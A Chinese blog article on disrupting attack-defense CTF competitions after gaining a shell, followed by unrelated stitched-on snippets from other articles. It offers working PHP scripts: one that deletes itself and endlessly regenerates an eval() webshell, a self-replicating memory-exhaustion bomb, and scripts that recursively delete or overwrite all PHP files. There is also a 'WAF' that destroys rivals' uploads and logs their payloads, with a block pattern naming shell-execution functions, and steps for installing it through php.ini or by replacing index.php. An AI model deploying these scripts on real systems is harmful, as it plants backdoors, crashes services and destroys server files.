如何在CTF中当搅屎棍

论如何在CTF比赛中搅屎

0×00 前言

不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目。

我很赞成phithon神的一句话,“比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉得也是一种能力。”

你能够做到别人做不到的,那就是你的本事。

本文所说的搅屎是在GETSHELL的情况下才能进行的!!!遇到phithon师傅的《CTF主办方指南之对抗搅屎棍》就GG了

0×01 预备知识

大多数能够搅屎的题目基本上是PHP且需要getshell的。所以,必备的PHP语法基本只是必须要懂~

接下来是介绍一些特殊的PHP内置函数

ignore_user_abort()

设置客户端断开连接时是否中断脚本的执行

PHP以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。

ignore_user_abort(1);

set_time_limit()

设置脚本最大执行时间

设置允许脚本运行的时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini的max_execution_time被定义的值,如果此值存在。

set_time_limit(0);

ini_get()

获取一个配置选项的值

成功时返回配置选项的值。

echo ‘disable_functions=’.ini_get(‘disable_functions’);

file_put_contents()

将一个字符串写入文件

和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

file_put_contents($filename, $content);

file_get_contents()

将整个文件读入一个字符串

和 file() 一样,只除了 file_get_contents() 把文件读入一个字符串。将在参数 offset 所指定的位置开始读取长度为 maxlen 的内容。如果失败,file_get_contents() 将返回 FALSE。

当然这个函数也可以通过其他协议读取文件内容

file_get_contents($filename);

file_get_contents($url);

file_put_contents()

将一个字符串写入文件

和依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

file_put_contents($filename, $content);

unlink()

删除文件

删除 filename。和 Unix C 的 unlink() 函数相似。 发生错误时会产生一个 E_WARNING 级别的错误。

unlink($filename);

给你的PHP脚本加上set_time_limit(0);ignore_user_abort(1);这两句就能够做的常驻内存了。

对待这种情况,基本上只能重启PHP了。

0×02 搅屎之不死鸟

no_die_shell.php

<?php

set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

//file_put_contents(__FILE__,”);

while(1){

file_put_contents(‘path/webshell.php’,‘<?php @eval($_POST["password"]);?>’);

}

?>

首先就是删除自己,不让别人知道,然后在某一个目录下循环生成你的webshell,根本删不掉~~

0×03 搅屎之核弹

nuclear_bomb.php

<?php

set_time_limit(0);

ignore_user_abort(true);

while(1){

file_put_contents(randstr().’.php’,file_get_content(__FILE__));

file_get_contents(“http://127.0.0.1/“);

}

?>

根据代码,不难看出这个脚本的功能。

常驻内存之后,进入死循环。

循环内部是实现无效複製自身并且访问web服务的功能。

执行的后果就是内存爆炸,php就GG了,严重点的话,Docker也GG。

0×04 搅屎之你死我活

del.php

<?php

set_time_limit(0);

ignore_user_abort(1);

array_map(‘unlink’, glob(“some/dir/*.php”));

?>

del_or_change.php

<?php

set_time_limit(0);

ignore_user_abort(1);

unlink(__FILE__);

function getfiles($path){

foreach(glob($path) as $afile){

if(is_dir($afile))

getfiles($afile.’/*.php’);

else

@file_put_contents($afile,”#Anything#”);

//unlink($afile);

}

}

while(1){

getfiles(__DIR__);

sleep(10);

}

?>

遍曆目录,得到所有的php文件,然后至于你想改写内容还是直接删掉,看心情了。

遍曆目录的方法很多,但是大多数这些函数都被禁用了(disable_functions)。

偶尔有个别漏网之鱼,比如glob~~这个函数比较少见吧。所以这样就用了它。

如果删除函数unlink被ban掉就改写咯

0×05 搅屎之WAF

感觉这个杀器有点邪恶。对于线下赛来说,近乎于无敌,反正我自己没有什麽好的方法破解。

噁心人啊。

php_waf_and_log_to_txt.php

<?php

error_reporting(0);

define(‘LOG_FILENAME’,‘log.txt’);

function waf()

{

if (!function_exists(‘getallheaders’)) {

function getallheaders() {

foreach ($_SERVER as $name => $value) {

if (substr($name, 0, 5) == ‘HTTP_’)

$headers[str_replace(‘ ‘, ‘-‘, ucwords(strtolower(str_replace(‘_‘, ‘ ‘, substr($name, 5)))))] = $value;

}

return $headers;

}

}

$get = $_GET;

$post = $_POST;

$cookie = $_COOKIE;

$header = getallheaders();

$files = $_FILES;

$ip = $_SERVER["REMOTE_ADDR"];

$method = $_SERVER[‘REQUEST_METHOD‘];

$filepath = $_SERVER["SCRIPT_NAME"];

//rewirte shell which uploaded by others, you can do more

foreach ($_FILES as $key => $value) {

$files[$key][‘content‘] = file_get_contents($_FILES[$key][‘tmp_name‘]);

file_put_contents($_FILES[$key][‘tmp_name‘], “virink”);

}

unset($header[‘Accept‘]);//fix a bug

$input = array(“Get”=>$get, “Post”=>$post, “Cookie”=>$cookie, “File”=>$files, “Header”=>$header);

//deal with

$pattern = “select|insert|update|delete|and|or|\’|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex”;

$pattern .= “|file_put_contents|fwrite|curl|system|eval|assert”;

$pattern .=”|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore”;

$pattern .=”|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec”;

$vpattern = explode(“|”,$pattern);

$bool = false;

foreach ($input as $k => $v) {

foreach($vpattern as $value){

foreach ($v as $kk => $vv) {

if (preg_match( “/$value/i”, $vv )){

$bool = true;

logging($input);

break;

}

}

if($bool) break;

}

if($bool) break;

}

}

function logging($var){

file_put_contents(LOG_FILENAME, “\r\n”.time().”\r\n”.print_r($var, true), FILE_APPEND);

// die() or unset($_GET) or unset($_POST) or unset($_COOKIE);

}

waf();

?>

这个WAF在线下攻防赛中,绝对是一个大杀器。

不仅拦截了大多数非法语句,还能记录所有的攻击流量,轻松得到别人的payload。

不知道主办方要如何解决这个WAF所存在的问题。

当然,这个WAF应该也不是完美的,还可以添加更多的规则,让他变得更强!

接下来再说说,在实战中如何加载这个WAF。

根据权限不同,就有不同的加载方式。

有root权限

那麽,这样就简单了,直接写在配置中。

vim php.ini

auto_append_file = “/dir/path/phpwaf.php”

重启Apache或者php-fpm就能生效了。

当然也可以写在 .user.ini 或者 .htaccess 中。

php_value auto_prepend_file “/dir/path/phpwaf.php”

只有user权限

没写系统权限就只能在代码上面下手了,也就是文件包含。

这钟情况又可以用不同的方式包含。

如果是框架型应用,那麽就可以添加在入口文件,例如index.php,

如果不是框架应用,那麽可以在公共配置文件config.php等相关文件中包含。

include(‘phpwaf.php’);

还有一种是替换index.php,也就是讲index.php改名为index2.php,然后讲phpwaf.php改成index.php。

当然还没完,还要在原phpwaf.php中包含原来的index.php。

index.php -> index2.php

phpwaf.php -> index.php

include(‘index2.php’);

至于你想用哪种方式,看你心情咯,你开心就好。

0×06 结束语

写这篇文章的目的并不是让大家都去CTF搅屎,毕竟CTF是一个正规的比赛的地方,有助于我们学习更多的技术以及黑科技。

当然,服务器维护人员也是很辛苦的。

我们暴打出题人就好了,何必为难运维。(出题人就是运维的情况下,例外!!!)

希望大家用正确的心态看这篇文章,“PHP是世界上最好的语言”,能够挖掘的地方还有很多。

主办方,表打我欸。

时间: 2024-08-25 08:28:47

如何在CTF中当搅屎棍的相关文章

如何在makfile中查看变量的值

在makefile中查看变量的取值是多少应该是一个比较麻烦的问题,但是本大神自己研究出一个十分方便的方法.这个方法十分简单.现在介绍如下 如果在一个十分复杂庞大的makefile文件中,有个地方用到一个变量SRC_FILE,你很想知道makefile运行到此处的时候这个变量的值为多少.那么你可以在这个变量的下面写两行东东: $(shell echo $(SRC_FILE) > readme.txt ) rrrrrrrrrrrrrrrrrrr 第一行其实是调用shell命令来将这个变量的值输入到r

如何在Angular2-cli中使用插件(不使用配置)

重要点: 要把插件放在src/assets文件中 如何在angular-cli中使用jquery插件 a.在index.html中引入 <script  src="./assets/jquery-1.8.3.min.js"></script> b. 在要使用jquery的组件中声明(XX.component.ts) declare var $ : any; c.导入onInit import { OnInit} from '@angular/core'; d.输

Excel技巧|如何在Excel中快速的批量将unix时间戳转化为北京时间

本文标签:  Excel技巧 unix时间戳转化北京时间 Excel时间戳转化北京时间 互联网杂谈 批量将将unix时间戳转化为北京时间 方法/步骤 单击要获得北京时间的那一列,右键,选择[设置单元格格式],在弹出的窗口中,左侧选择 [日期],右侧选择你想要的时间格式,点击确定. 选中其中一个单元格,输入公式 =(A2+8*3600)/86400+70*365+19 其中,A2是要转化的时间戳的单元格. 输入完公式,按下[回车键]. 该时间戳即转化为北京时间. 选中上面转化好的北京时间单元格,鼠

如何在Excel中少犯二(I)

作者:何明科链接:https://zhuanlan.zhihu.com/p/23472480来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 收到不少建议,要求开知乎Live来谈谈Excel.然而考虑到知识储备有限,还是先写文章来满足大家的需求,同时从特别窄的话题开始:"如何在Excel中少犯二".从这个话题开始的理由特别简单:首先,时常在别人的Excel数据模型中发现各种细小错误,哪怕作者花费再多的时间把图表搞得再精美,顿时对整个模型的结论产生怀疑:其次

如何在html中插入视频

如何在html中插入视频 1,插入优酷视频: 在优酷分享界面有个html代码,直接复制放入body中,定义div的align居中即可 2.插入本地视频:用video属性  用mp4格式 <video>标签的属性 src :视频的属性 poster:视频封面,没有播放时显示的图片 preload:预加载 autoplay:自动播放 loop:循环播放 controls:浏览器自带的控制条 width:视频宽度 height:视频高度

CTF中那些脑洞大开的编码和加密

0x00 前言 正文开始之前先闲扯几句吧,玩CTF的小伙伴也许会遇到类似这样的问题:表哥,你知道这是什么加密吗?其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形,一般出题者会对密文进行一些处理,但是会给留一些线索,所以写此文的目的是想给小伙伴做题时给一些参考,当然常在CTF里出现的编码也可以了解一下.本来是想尽快写出参考的文章,无奈期间被各种事情耽搁导致文章断断续续写了2个月,文章肯定有许多没有提及到,欢迎小伙伴补充,总之,希望对小伙伴们有帮助吧! 0x01 目录 1 2 3

如何在java中使用sikuli进行自动化测试

很早之前写过一篇介绍sikuli的文章.本文简单介绍如何在java中使用sikuli进自动化测试. 图形脚本语言sikuli sikuli IDE可以完成常见的单击.右击.移动到.拖动等鼠标操作,java引用sikuli-script.jar同样可以执行这些常见的鼠标操作,因此即可方便的编写java实现识别图片并模拟点击/拖动目标控件. sikuli-script.jar:http://download.csdn.net/download/hqd1986/4557974 将sikuli-scri

安卓开发_WebView如何在Fragment中使用

之前学习了如何在activity中使用WebView控件来显示网页. 在我的实际开发中,有需要在Fragment中用到WebView控件的,那么就百度学习了一下 其实很简单,但是当然不是和在Activity中使用的方法一样 具体看代码 1 package com.example.qunxiong; 2 3 import android.os.Bundle; 4 import android.support.v4.app.Fragment; 5 import android.view.Layout

如何在iOS中使用Block

如何在iOS中使用Block Block可以帮助我们组织独立的代码段,并提高复用性和可读性.iOS4在UIKit中引入了该特征.超过100个的Apple API都使用了Block,所以这是一个我们必须开始熟悉的知识. Block是什么样的? 你可以使用^操作符来声明一个Block变量,它表示一个Block的开始. int num1 = 7; int(^aBlock)(int) = ^)int num2) { return num1+nunm2; }; 在如上代码中我们将Block声明为一个变量,